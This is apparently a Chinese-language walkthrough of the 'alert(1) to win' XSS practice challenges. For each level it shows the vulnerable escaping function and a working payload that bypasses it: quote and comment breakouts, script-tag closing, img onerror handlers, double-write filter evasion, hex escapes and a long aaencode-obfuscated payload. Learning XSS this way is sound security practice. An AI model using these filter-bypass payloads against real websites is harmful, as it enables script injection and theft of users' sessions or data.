【alert(1) to win】不完全攻略
alert(1) to win
一个练习XSS的平台,地址:https://alf.nu/alert1
Warmup
给出了一段JavaScript代码
function escape(s) { return '<script>console.log("'+s+'");</script>'; }
对s没有任何校验,payload为
");alert(1);("
或者
");alert(1);//
Adobe
代码如下
function escape(s) { s = s.replace(/"/g, '\\"'); return '<script>console.log("' + s + '");</script>'; }
全局替换了 " 为 \" ,就是说转义了双引号而没有转义转义字符 \
payload如下
\");alert(1)//
JSON
function escape(s) { s = JSON.stringify(s); return '<script>console.log(' + s + ');</script>'; }
使用了JSON.stringify()函数对s进行处理,该函数会对双引号 " 和转义字符 \ 进行转义,没有对 < > ' / 字符进行处理。
payload如下
)</script><script>alert(1)//
闭合括号然后闭合script标签,创建一个新的script标签来执行alert(1),//注释掉多余的字符串
JavaScript
function escape(s) { var url = 'javascript:console.log(' + JSON.stringify(s) + ')'; console.log(url); var a = document.createElement('a'); a.href = url; document.body.appendChild(a); a.click(); }
这个有点意思,先上payload吧
%22);alert(1)//
url是放到a标签的href属性中执行的,href 属性用于指定超链接目标的 URL,是支持URL编码的,%22是双引号 " 的URL编码
构造出的a标签为
<a href=javascript:console.log("%22);alert(1)//")></a>
a.click()执行的时候触发了alert(1)
Markdown
function escape(s) { var text = s.replace(/</g, '<').replace(/"/g, '"'); // URLs text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>'); // [[img123|Description]] text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">'); return text; }
第一行代码将所有 < " 字符进行了转义
第二行是将形如 http://S+ 的字符串改写为 <a href="http://S+">http://S+</a> (S+为匹配一个非空白字符一次或多次)
第三行将形如 [[a|b]] 的字符串改写为 <img alt="b" src="a.gif">
先放出payload
[[a|http://onerror=alert(1)//]]
该函数构造的结果为
<img alt="<a href="http://onerror=alert(1)//" src="a.gif">">http://onerror=alert(1)//]]</a>
利用 // 来代替空格,href的起始 " 闭合alt的 ",在于 // 注释掉最后的 "
DOM
function escape(s) { // Slightly too lazy to make two input fields. // Pass in something like "TextNode#foo" var m = s.split(/#/); // Only slightly contrived at this point. var a = document.createElement('div'); a.appendChild(document['create'+m[0]].apply(document, m.slice(1))); return a.innerHTML; }
通过 # 对字符串 s 进行切分,document['create' + 第一个子串 m[0]] 相当于调用了 document.create...() 函数
使用createComment测试一下
Comment#111111
那闭合注释标签,构造JavaScript代码就行了,payload如下
Comment#--><img/onerror=alert(1) src=x/>
Callback
function escape(s) { // Pass inn "callback#userdata" var thing = s.split(/#/); if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback'; var obj = {'userdata': thing[1] }; var json = JSON.stringify(obj).replace(/</g, '\\u003c'); return "<script>" + thing[0] + "(" + json +")</script>"; }
和上一节很相似,输入
aaaa#bbbb
第一个字段为thing[0]不允许有 a-z A-Z [ ] ' 中其他字符出现,第二个字段 json 对字符 \ " < 进行了转义。
按照程序的结果,本意应该是构造下面这种形式
但是注意到一个很奇怪的地方,thing[0] 可以包含 [ ] ' 这些字符,而 JSON.stringify() 不对 ' 进行转义。
知道这些构造payload的简单多了。
'#';alert(1)//
Skandia
function escape(s) { return '<script>console.log("' + s.toUpperCase() + '")</script>'; }
alert 经过 toUpperCase() 的处理后变为 ALERT ,js 会显示 ALERT is not defined
那么就使用 html 编码对 函数名进行处理,payload 为
</script><IMG/ONERROR=alert(1) SRC/>
参考 HTML 编码,http://www.w3school.com.cn/tags/html_ref_ascii.asp
相比之下第二种解法就好玩了,aaencode 是一个 js 编码,和 fuckjs 一个性质
alert(1) 的 aaencode 编码如下
那么 payload 为
");゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');//
Template
function escape(s) { function htmlEscape(s) { return s.replace(/./g, function(x) { return { '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[x] || x; }); } function expandTemplate(template, args) { return template.replace( /{(\w+)}/g, function(_, n) { return htmlEscape(args[n]); }); } return expandTemplate( " \n\ <h2>Hello, <span id=name></span>!</h2> \n\ <script> \n\ var v = document.getElementById('name'); \n\ v.innerHTML = '<a href=#>{name}</a>'; \n\ <\/script> \n\ ", { name : s } ); }
注入的地方在 <a href=#>{name}</a> 的 name 字段。最容易想到的就是构建一个新的标签执行 js
但是对 < > & " ' 字符进行了转义,但是没有转义 \ 字符,于是使用十六进制构建payload
\x3cimg/onerror=alert(1) src/\x3e
JSON 2
function escape(s) { s = JSON.stringify(s).replace(/<\/script/gi, ''); return '<script>console.log(' + s + ');</script>'; }
采用全局模式替换 </script 为空,利用这一点双写就完成了
payload为
<</script/script><script>alert(1)//
Callback 2
function escape(s) { // Pass inn "callback#userdata" var thing = s.split(/#/); if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback'; var obj = {'userdata': thing[1] }; var json = JSON.stringify(obj).replace(/\//g, '\\/'); return "<script>" + thing[0] + "(" + json +")</script>"; }
Callback 的加强版本,转义了 / ,无法构造 // 注释了,如果了解 js 的注释是由三种的,分别为
//
/**/
<!--
那么利用第三种就可以轻松绕过了
'#';alert(1)<!--
Skandia 2
function escape(s) { if (/[<>]/.test(s)) return '-'; return '<script>console.log("' + s.toUpperCase() + '")</script>'; }
Skandia 的升级版,输入不能含有 < >
那么用 aaencode 一样绕过
");゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');//
iframe
function escape(s) { var tag = document.createElement('iframe'); // For this one, you get to run any code you want, but in a "sandboxed" iframe. // // https://4i.am/?...raw=... just outputs whatever you pass in. // // Alerting from 4i.am won't count. s = '<script>' + s + '<\/script>'; tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s); window.WINNING = function() { youWon = true; }; tag.setAttribute('onload', 'youWon && alert(1)'); return tag.outerHTML; }
这个题最先看根本没看懂,在测试了一堆后才明白要怎么做。首先随便 Input 点东西
aaaaaaaaaaaa
给出的 Output 为
<iframe src="https://4i.am/?:XSS=0&CT=text/html&raw=%3Cscript%3Eaaaaaaaaaaaa%3C%2Fscript%3E" onload="youWon && alert(1)"></iframe>
不难发现,在 onload 中已经有 alert(1) 了,但是没有触发,原因是
youWon 没有定义,如果 youWon 是有定义的(不为false不为0等)就可以触发 alert(1) 了,比如
就可以正确执行 alert(1) 了,那么把工作重心放到让 youWon 有定义上来,
构造
name='youWon'
youWon 成功的成为了一个对象,触发了 alert(1) ,这个原理还是没有弄明白